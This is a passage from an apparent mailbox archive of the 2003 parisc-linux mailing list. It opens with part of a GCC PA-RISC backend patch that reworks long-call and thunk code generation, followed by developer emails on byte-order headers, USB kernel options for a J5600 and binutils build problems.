+      output_asm_insn ("ldil L'%0,%%r1", xoperands);
+      output_asm_insn ("ldo R'%0(%%r1),%%r1", xoperands);
+      output_asm_insn ("bv %%r0(%%r1)", xoperands);
+    }
+  else if (flag_pic)
     {
       output_asm_insn ("{bl|b,l} .+8,%%r1", xoperands);
       if (TARGET_SOM || !TARGET_GAS)
@@ -6545,11 +6571,12 @@ attr_length_millicode_call (insn)
      rtx insn;
 {
   unsigned long distance = -1;
+  unsigned long total = in_text_section () ? total_code_bytes : 0;
 
   if (INSN_ADDRESSES_SET_P ())
     {
-      distance = (total_code_bytes + insn_current_reference_address (insn));
-      if (distance < total_code_bytes)
+      distance = (total + insn_current_reference_address (insn));
+      if (distance < total)
 	distance = -1;
     }
 
@@ -6741,11 +6768,12 @@ attr_length_call (insn, sibcall)
      int sibcall;
 {
   unsigned long distance = -1;
+  unsigned long total = in_text_section ()? total_code_bytes : 0;
 
   if (INSN_ADDRESSES_SET_P ())
     {
-      distance = (total_code_bytes + insn_current_reference_address (insn));
-      if (distance < total_code_bytes)
+      distance = (total + insn_current_reference_address (insn));
+      if (distance < total)
 	distance = -1;
     }
 
@@ -6813,12 +6841,15 @@ output_call (insn, call_dest, sibcall)
   int delay_insn_deleted = 0;
   int delay_slot_filled = 0;
   int seq_length = dbr_sequence_length ();
+  tree call_decl = SYMBOL_REF_DECL (call_dest);
+  int local_call = call_decl && !TREE_PUBLIC (call_decl);
   rtx xoperands[2];
 
   xoperands[0] = call_dest;
 
   /* Handle the common case where we're sure that the branch will reach
-     the beginning of the $CODE$ subspace.  */
+     the beginning of the "$CODE$" subspace.  This is the beginning of
+     the current function if we are in a named section.  */
   if (!TARGET_LONG_CALLS && attr_length_call (insn, sibcall) == 8)
     {
       xoperands[1] = gen_rtx_REG (word_mode, sibcall ? 0 : 2);
@@ -6826,7 +6857,7 @@ output_call (insn, call_dest, sibcall)
     }
   else
     {
-      if (TARGET_64BIT)
+      if (TARGET_64BIT && !local_call)
 	{
 	  /* ??? As far as I can tell, the HP linker doesn't support the
 	     long pc-relative sequence described in the 64-bit runtime
@@ -6878,9 +6909,10 @@ output_call (insn, call_dest, sibcall)
 	  /* Emit a long call.  There are several different sequences
 	     of increasing length and complexity.  In most cases,
              they don't allow an instruction in the delay slot.  */
-	  if (!(TARGET_LONG_ABS_CALL && !flag_pic)
+	  if (!((TARGET_LONG_ABS_CALL || local_call) && !flag_pic)
 	      && !(TARGET_SOM && TARGET_LONG_PIC_SDIFF_CALL)
-	      && !(TARGET_GAS && TARGET_LONG_PIC_PCREL_CALL))
+	      && !(TARGET_GAS && (TARGET_LONG_PIC_PCREL_CALL || local_call))
+	      && !TARGET_64BIT)
 	    indirect_call = 1;
 
 	  if (seq_length != 0
@@ -6900,12 +6932,13 @@ output_call (insn, call_dest, sibcall)
 	      delay_insn_deleted = 1;
 	    }
 
-	  if (TARGET_LONG_ABS_CALL && !flag_pic)
+	  if ((TARGET_LONG_ABS_CALL || local_call) && !flag_pic)
 	    {
 	      /* This is the best sequence for making long calls in
 		 non-pic code.  Unfortunately, GNU ld doesn't provide
 		 the stub needed for external calls, and GAS's support
-		 for this with the SOM linker is buggy.  */
+		 for this with the SOM linker is buggy.  It is safe
+		 to use this for local calls.  */
 	      output_asm_insn ("ldil L'%0,%%r1", xoperands);
 	      if (sibcall)
 		output_asm_insn ("be R'%0(%%sr4,%%r1)", xoperands);
@@ -6923,7 +6956,8 @@ output_call (insn, call_dest, sibcall)
 	    }
 	  else
 	    {
-	      if (TARGET_SOM && TARGET_LONG_PIC_SDIFF_CALL)
+	      if ((TARGET_SOM && TARGET_LONG_PIC_SDIFF_CALL)
+		  || (TARGET_64BIT && !TARGET_GAS))
 		{
 		  /* The HP assembler and linker can handle relocations
 		     for the difference of two symbols.  GAS and the HP
@@ -6936,7 +6970,7 @@ output_call (insn, call_dest, sibcall)
 					     CODE_LABEL_NUMBER (xoperands[1]));
 		  output_asm_insn ("ldo R'%0-%l1(%%r1),%%r1", xoperands);
 		}
-	      else if (TARGET_GAS && TARGET_LONG_PIC_PCREL_CALL)
+	      else if (TARGET_GAS && (TARGET_LONG_PIC_PCREL_CALL || local_call))
 		{
 		  /*  GAS currently can't generate the relocations that
 		      are needed for the SOM linker under HP-UX using this
@@ -7075,11 +7109,9 @@ output_call (insn, call_dest, sibcall)
 					     CODE_LABEL_NUMBER (xoperands[1]));
 	}
       else
-	/* ??? This branch may not reach its target.  */
 	output_asm_insn ("nop\n\tb,n %0", xoperands);
     }
   else
-    /* ??? This branch may not reach its target.  */
     output_asm_insn ("b,n %0", xoperands);
 
   /* Delete the jump.  */
@@ -7101,11 +7133,12 @@ attr_length_indirect_call (insn)
      rtx insn;
 {
   unsigned long distance = -1;
+  unsigned long total = in_text_section () ? total_code_bytes : 0;
 
   if (INSN_ADDRESSES_SET_P ())
     {
-      distance = (total_code_bytes + insn_current_reference_address (insn));
-      if (distance < total_code_bytes)
+      distance = (total + insn_current_reference_address (insn));
+      if (distance < total)
 	distance = -1;
     }
 
@@ -7280,81 +7313,239 @@ pa_asm_output_mi_thunk (file, thunk_fnde
      HOST_WIDE_INT vcall_offset ATTRIBUTE_UNUSED;
      tree function;
 {
-  const char *target_name = XSTR (XEXP (DECL_RTL (function), 0), 0);
+  const char *fname = XSTR (XEXP (DECL_RTL (function), 0), 0);
+  const char *tname = XSTR (XEXP (DECL_RTL (thunk_fndecl), 0), 0);
+  int val_14 = VAL_14_BITS_P (delta);
+  int nbytes = 0;
   static unsigned int current_thunk_number;
   char label[16];
-  const char *lab;
-  ASM_GENERATE_INTERNAL_LABEL (label, "LTHN", current_thunk_number);
-  lab = (*targetm.strip_name_encoding) (label);
-  target_name = (*targetm.strip_name_encoding) (target_name);
-  /* FIXME: total_code_bytes is not handled correctly in files with
-     mi thunks.  */
-  pa_output_function_prologue (file, 0);
-  if (VAL_14_BITS_P (delta))
-    {
-      if (!TARGET_64BIT && !TARGET_PORTABLE_RUNTIME && flag_pic)
-	{
-	  fprintf (file, "\taddil LT'%s,%%r19\n", lab);
-	  fprintf (file, "\tldw RT'%s(%%r1),%%r22\n", lab);
-	  fprintf (file, "\tldw 0(%%sr0,%%r22),%%r22\n");
-	  fprintf (file, "\tbb,>=,n %%r22,30,.+16\n");
-	  fprintf (file, "\tdepi 0,31,2,%%r22\n");
-	  fprintf (file, "\tldw 4(%%sr0,%%r22),%%r19\n");
-	  fprintf (file, "\tldw 0(%%sr0,%%r22),%%r22\n");
+
+  ASM_OUTPUT_LABEL (file, tname);
+  fprintf (file, "\t.PROC\n\t.CALLINFO FRAME=0,NO_CALLS\n\t.ENTRY\n");
+
+  fname = (*targetm.strip_name_encoding) (fname);
+  tname = (*targetm.strip_name_encoding) (tname);
+
+  /* Output the thunk.  We know that the function is in the same
+     translation unit (i.e., the same space) as the thunk, and that
+     thunks are output after their method.  Thus, we don't need an
+     external branch to reach the function.  With SOM and GAS,
+     functions and thunks are effectively in different sections.
+     Thus, we can always use a IA-relative branch and the linker
+     will add a long branch stub if necessary.
+
+     However, we have to be careful when generating PIC code on the
+     SOM port to ensure that the sequence does not transfer to an
+     import stub for the target function as this could clobber the
+     return value saved at SP-24.  This would also apply to the
+     32-bit linux port if the multi-space model is implemented.  */
+  if ((!TARGET_LONG_CALLS && TARGET_SOM && !TARGET_PORTABLE_RUNTIME
+       && !(flag_pic && TREE_PUBLIC (function))
+       && (TARGET_GAS || last_address < 262132))
+      || (!TARGET_LONG_CALLS && !TARGET_SOM && !TARGET_PORTABLE_RUNTIME
+	  && ((targetm.have_named_sections
+	       && DECL_SECTION_NAME (thunk_fndecl) != NULL
+	       /* The GNU 64-bit linker has rather poor stub management.
+		  So, we use a long branch from thunks that aren't in
+		  the same section as the target function.  */
+	       && ((!TARGET_64BIT
+		    && (DECL_SECTION_NAME (thunk_fndecl)
+			!= DECL_SECTION_NAME (function)))
+		   || ((DECL_SECTION_NAME (thunk_fndecl)
+			== DECL_SECTION_NAME (function))
+		       && last_address < 262132)))
+	      || (!targetm.have_named_sections && last_address < 262132))))
+    {
+      if (val_14)
+	{
+	  fprintf (file, "\tb %s\n\tldo " HOST_WIDE_INT_PRINT_DEC
+			 "(%%r26),%%r26\n", fname, delta);
+	  nbytes += 8;
+	}
+      else
+	{
+	  fprintf (file, "\taddil L'" HOST_WIDE_INT_PRINT_DEC
+			 ",%%r26\n", delta);
+	  fprintf (file, "\tb %s\n\tldo R'" HOST_WIDE_INT_PRINT_DEC
+			 "(%%r1),%%r26\n", fname, delta);
+	  nbytes += 12;
+	}
+    }
+  else if (TARGET_64BIT)
+    {
+      /* We only have one call-clobbered scratch register, so we can't
+         make use of the delay slot if delta doesn't fit in 14 bits.  */
+      if (!val_14)
+	fprintf (file, "\taddil L'" HOST_WIDE_INT_PRINT_DEC
+		       ",%%r26\n\tldo R'" HOST_WIDE_INT_PRINT_DEC
+		       "(%%r1),%%r26\n", delta, delta);
+
+      fprintf (file, "\tb,l .+8,%%r1\n");
+
+      if (TARGET_GAS)
+	{
+	  fprintf (file, "\taddil L'%s-$PIC_pcrel$0+4,%%r1\n", fname);
+	  fprintf (file, "\tldo R'%s-$PIC_pcrel$0+8(%%r1),%%r1\n", fname);
+	}
+      else
+	{
+	  int off = val_14 ? 8 : 16;
+	  fprintf (file, "\taddil L'%s-%s-%d,%%r1\n", fname, tname, off);
+	  fprintf (file, "\tldo R'%s-%s-%d(%%r1),%%r1\n", fname, tname, off);
+	}
+
+      if (val_14)
+	{
+	  fprintf (file, "\tbv %%r0(%%r1)\n\tldo ");
+	  fprintf (file, HOST_WIDE_INT_PRINT_DEC "(%%r26),%%r26\n", delta);
+	  nbytes += 20;
+	}
+      else
+	{
+	  fprintf (file, "\tbv,n %%r0(%%r1)\n");
+	  nbytes += 24;
+	}
+    }
+  else if (TARGET_PORTABLE_RUNTIME)
+    {
+      fprintf (file, "\tldil L'%s,%%r1\n", fname);
+      fprintf (file, "\tldo R'%s(%%r1),%%r22\n", fname);
+
+      if (val_14)
+	{
+	  fprintf (file, "\tbv %%r0(%%r22)\n\tldo ");
+	  fprintf (file, HOST_WIDE_INT_PRINT_DEC "(%%r26),%%r26\n", delta);
+	  nbytes += 16;
+	}
+      else
+	{
+	  fprintf (file, "\taddil L'" HOST_WIDE_INT_PRINT_DEC
+			 ",%%r26\n", delta);
+	  fprintf (file, "\tbv %%r0(%%r22)\n\tldo ");
+	  fprintf (file, "R'" HOST_WIDE_INT_PRINT_DEC "(%%r1),%%r26\n", delta);
+	  nbytes += 20;
+	}
+    }
+  else if (TARGET_SOM && flag_pic && TREE_PUBLIC (function))
+    {
+      /* The function is accessible from outside this module.  The only
+	 way to avoid an import stub between the thunk and function is to
+	 call the function directly with an indirect sequence similar to
+	 that used by $$dyncall.  This is possible because $$dyncall acts
+	 as the import stub in an indirect call.  */
+      const char *lab;
+
+      ASM_GENERATE_INTERNAL_LABEL (label, "LTHN", current_thunk_number);
+      lab = (*targetm.strip_name_encoding) (label);
+
+      fprintf (file, "\taddil LT'%s,%%r19\n", lab);
+      fprintf (file, "\tldw RT'%s(%%r1),%%r22\n", lab);
+      fprintf (file, "\tldw 0(%%sr0,%%r22),%%r22\n");
+      fprintf (file, "\tbb,>=,n %%r22,30,.+16\n");
+      fprintf (file, "\tdepi 0,31,2,%%r22\n");
+      fprintf (file, "\tldw 4(%%sr0,%%r22),%%r19\n");
+      fprintf (file, "\tldw 0(%%sr0,%%r22),%%r22\n");
+      if (!val_14)
+	{
+	  fprintf (file, "\taddil L'" HOST_WIDE_INT_PRINT_DEC
+			 ",%%r26\n", delta);
+	  nbytes += 4;
+	}
+      if (TARGET_PA_20)
+	{
+          fprintf (file, "\tbve (%%r22)\n\tldo ");
+	  nbytes += 36;
+	}
+      else
+	{
 	  if (TARGET_NO_SPACE_REGS)
-	    fprintf (file, "\tbe 0(%%sr4,%%r22)\n\tldo ");
+	    {
+	      fprintf (file, "\tbe 0(%%sr4,%%r22)\n\tldo ");
+	      nbytes += 36;
+	    }
 	  else
 	    {
 	      fprintf (file, "\tldsid (%%sr0,%%r22),%%r1\n");
-	      fprintf (file, "\tmtsp %%r1,%%sr0\n");
+	      fprintf (file, "\tmtsp %%r21,%%sr0\n");
 	      fprintf (file, "\tbe 0(%%sr0,%%r22)\n\tldo ");
+	      nbytes += 44;
 	    }
+	}
+
+      if (val_14)
+	fprintf (file, HOST_WIDE_INT_PRINT_DEC "(%%r26),%%r26\n", delta);
+      else
+	fprintf (file, "R'" HOST_WIDE_INT_PRINT_DEC "(%%r1),%%r26\n", delta);
+    }
+  else if (flag_pic)
+    {
+      if (TARGET_PA_20)
+	fprintf (file, "\tb,l .+8,%%r1\n");
+      else
+	fprintf (file, "\tbl .+8,%%r1\n");
+
+      if (TARGET_SOM || !TARGET_GAS)
+	{
+	  fprintf (file, "\taddil L'%s-%s-8,%%r1\n", fname, tname);
+	  fprintf (file, "\tldo R'%s-%s-8(%%r1),%%r22\n", fname, tname);
+	}
+      else
+	{
+	  fprintf (file, "\taddil L'%s-$PIC_pcrel$0+4,%%r1\n", fname);
+	  fprintf (file, "\tldo R'%s-$PIC_pcrel$0+8(%%r1),%%r22\n", fname);
+	}
+
+      if (val_14)
+	{
+	  fprintf (file, "\tbv %%r0(%%r22)\n\tldo ");
 	  fprintf (file, HOST_WIDE_INT_PRINT_DEC "(%%r26),%%r26\n", delta);
+	  nbytes += 20;
 	}
       else
-	fprintf (file, "\tb %s\n\tldo " HOST_WIDE_INT_PRINT_DEC
-		 "(%%r26),%%r26\n",
-		 target_name, delta);
+	{
+	  fprintf (file, "\taddil L'" HOST_WIDE_INT_PRINT_DEC
+			 ",%%r26\n", delta);
+	  fprintf (file, "\tbv %%r0(%%r22)\n\tldo ");
+	  fprintf (file, "R'" HOST_WIDE_INT_PRINT_DEC "(%%r1),%%r26\n", delta);
+	  nbytes += 24;
+	}
     }
   else
     {
-      if (!TARGET_64BIT && !TARGET_PORTABLE_RUNTIME && flag_pic)
+      if (!val_14)
+	fprintf (file, "\taddil L'" HOST_WIDE_INT_PRINT_DEC ",%%r26\n", delta);
+
+      fprintf (file, "\tldil L'%s,%%r22\n", fname);
+      fprintf (file, "\tbe R'%s(%%sr4,%%r22)\n\tldo ", fname);
+
+      if (val_14)
 	{
-	  fprintf (file, "\taddil L'" HOST_WIDE_INT_PRINT_DEC
-		   ",%%r26\n\tldo R'" HOST_WIDE_INT_PRINT_DEC "(%%r1),%%r26\n",
-		   delta, delta);
-	  fprintf (file, "\taddil LT'%s,%%r19\n", lab);
-	  fprintf (file, "\tldw RT'%s(%%r1),%%r22\n", lab);
-	  fprintf (file, "\tldw 0(%%sr0,%%r22),%%r22\n");
-	  fprintf (file, "\tbb,>=,n %%r22,30,.+16\n");
-	  fprintf (file, "\tdepi 0,31,2,%%r22\n");
-	  fprintf (file, "\tldw 4(%%sr0,%%r22),%%r19\n");
-	  fprintf (file, "\tldw 0(%%sr0,%%r22),%%r22\n");
-	  if (TARGET_NO_SPACE_REGS)
-	    fprintf (file, "\tbe 0(%%sr4,%%r22)");
-	  else
-	    {
-	      fprintf (file, "\tldsid (%%sr0,%%r22),%%r1\n");
-	      fprintf (file, "\tmtsp %%r1,%%sr0\n");
-	      fprintf (file, "\tbe,n 0(%%sr0,%%r22)\n");
-	    }
+	  fprintf (file, HOST_WIDE_INT_PRINT_DEC "(%%r26),%%r26\n", delta);
+	  nbytes += 12;
 	}
       else
-	fprintf (file, "\taddil L'" HOST_WIDE_INT_PRINT_DEC
-		 ",%%r26\n\tb %s\n\tldo R'" HOST_WIDE_INT_PRINT_DEC
-		 "(%%r1),%%r26\n", delta, target_name, delta);
+	{
+	  fprintf (file, "R'" HOST_WIDE_INT_PRINT_DEC "(%%r1),%%r26\n", delta);
+	  nbytes += 16;
+	}
     }
-    
+
   fprintf (file, "\t.EXIT\n\t.PROCEND\n");
-  if (! TARGET_64BIT && ! TARGET_PORTABLE_RUNTIME && flag_pic)
+
+  if (TARGET_SOM && flag_pic && TREE_PUBLIC (function))
     {
       data_section ();
       fprintf (file, "\t.align 4\n");
-      (*targetm.asm_out.internal_label) (file, "LTHN", current_thunk_number);
-      fprintf (file, "\t.word P'%s\n", target_name);
+      ASM_OUTPUT_LABEL (file, label);
+      fprintf (file, "\t.word P'%s\n", fname);
       function_section (thunk_fndecl);
     }
+
   current_thunk_number++;
+  nbytes = ((nbytes + FUNCTION_BOUNDARY / BITS_PER_UNIT - 1)
+	    & ~(FUNCTION_BOUNDARY / BITS_PER_UNIT - 1));
+  last_address += nbytes;
+  update_total_code_bytes (nbytes);
 }
 
 /* Only direct calls to static functions are allowed to be sibling (tail)


From - Thu Nov 08 21:28:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] byte swapping redux
Date: Sun, 29 Jun 2003 15:33:01 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20030629213301.GA24957@dsl2.external.hp.com>
References: <20030629181415.GA21094@dsl2.external.hp.com> <20030629184150.GX31618@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622546 27301 80.91.229.3 (22 Nov 2014 02:15:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 29 15:33:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 25F7D4829; Sun, 29 Jun 2003 15:33:01 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030629184150.GX31618@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18769

On Sun, Jun 29, 2003 at 07:41:50PM +0100, Matthew Wilcox wrote:
> Protection against userspace inclusion.  Which shouldn't be happening
> of course, but some userspace programs are crap.

What are they protecting against?
I'll remove it.

> > I'm pretty sure we don't want __SWAB_64_THRU_32__ defined.
> > PA-RISC version of ___arch__swab64() is appropriately defined for
> > both 32 and 64-bit compiles.
> 
> Take it out then; if it works, commit it (to 2.5 anyway).

well, I'm still looking at 2.4.x...you know about the problems I had
finding my boot disk on the rx2600 (ia64) when trying to boot 2.5.72.
I'm not keen on reproducing experience on parisc this weekend.

I was actually trying to get up to speed to test/review Joel's patch.

BTW, Prelimary diff on ftp://ftp.p-l.o/patches/diff-2.4.21-pa1
attempts to fix the byteorder.h mess and first cut at trying
to get intermezzo to build. But intermezzo won't assemble because
it has field alignment (ldd 52(x) instruction) problems.


thanks,
grant


From - Thu Nov 08 21:28:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Mestdagh <Mark.Mestdagh@Icon-Europe.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel compilation for J5600
Date: Mon, 30 Jun 2003 08:13:29 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <1056953609.3effd509f3f5f@wiebel.dommel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622546 27342 80.91.229.3 (22 Nov 2014 02:15:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 30 00:13:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from wiebel.dommel.com (wiebel.dommel.com [64.37.114.98])
	by dsl2.external.hp.com (Postfix) with SMTP id 11C5D4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Jun 2003 00:13:37 -0600 (MDT)
Original-Received: (qmail 22455 invoked by uid 505); 30 Jun 2003 06:13:30 -0000
Original-Received: from 148.177.129.213 ( [148.177.129.213])
	as user mark@ICon-europe.com@wiebel.dommel.com by wiebel.dommel.com with HTTP;
	Mon, 30 Jun 2003 08:13:29 +0200
User-Agent: Internet Messaging Program (IMP) 3.1
X-Originating-IP: 148.177.129.213
X-Virus-Scanned: This mail has been scanned for viruses by schedom vof (http://www.dommel.com)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18770

Hi all

I'm trying to enable an usb mouse/keyboard on a J5600. I followed the 
instructions described on the parisc-linux website but was unable to get them 
working. I suspect there are some special options to enable for USB but which 
ones? As this is a SMP system I cannot use the prebuild kernels. So if someone 
can outline the options to enable usb, that would be great ;)

Regards
Mark Mestdagh




From - Thu Nov 08 21:28:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel compilation for J5600
Date: Sun, 29 Jun 2003 23:30:26 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20030630063026.GC4714@tausq.org>
References: <1056953609.3effd509f3f5f@wiebel.dommel.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622546 27345 80.91.229.3 (22 Nov 2014 02:15:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mark Mestdagh <Mark.Mestdagh@Icon-Europe.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 30 00:26:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BCC54829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Jun 2003 00:26:09 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E2179CD2F8; Sun, 29 Jun 2003 23:30:26 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1056953609.3effd509f3f5f@wiebel.dommel.com>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18771

> I'm trying to enable an usb mouse/keyboard on a J5600. I followed the 
> instructions described on the parisc-linux website but was unable to get them 
> working. I suspect there are some special options to enable for USB but which 
> ones? As this is a SMP system I cannot use the prebuild kernels. So if someone 
> can outline the options to enable usb, that would be great ;)

Why can't you use the prebuilt kernels? kernel-image-2.4.20-32-smp
supports SMP (and the corresponding 64-bit version too...)

parisc machines use the OHCI driver, which is enabled by default in the
debian kernels.

CONFIG_USB=y
CONFIG_USB_DEVICEFS=y
CONFIG_USB_OHCI=y
CONFIG_USB_STORAGE=m
CONFIG_USB_HID=y
CONFIG_USB_HIDINPUT=y

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] byte swapping redux
Date: Mon, 30 Jun 2003 12:19:49 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <3ED70CF10000B8FE@ocpmta2.freegates.net>
References: <20030629213301.GA24957@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622547 27350 80.91.229.3 (22 Nov 2014 02:15:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 30 04:19:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7B404829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Jun 2003 04:19:53 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19WvkI-0007qY-00; Mon, 30 Jun 2003 12:18:50 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 30 Jun 2003 12:19:49 +0200
In-Reply-To: <20030629213301.GA24957@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18772

> BTW, Prelimary diff on ftp://ftp.p-l.o/patches/diff-2.4.21-pa1
> attempts to fix the byteorder.h mess and first cut at trying
> to get intermezzo to build. But intermezzo won't assemble because
> it has field alignment (ldd 52(x) instruction) problems.

Hmm here no pb to build intermezzo (as a module) neither for 2.4.21-pa1 neither
2.4.22-pre2-pa1 (gcc-3.3 32bits at least). So I suspect that it is a pb with
binutils (I still have to downgrade it to binutils-2.13.90.0.18-1.7_hppa.deb)
which Dave fixed in upstream a time ago but (I don't know why) not yet included
in debian dpkg.

hth,
    Joel


---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:13 2018
X-Mozilla-Status: 0001
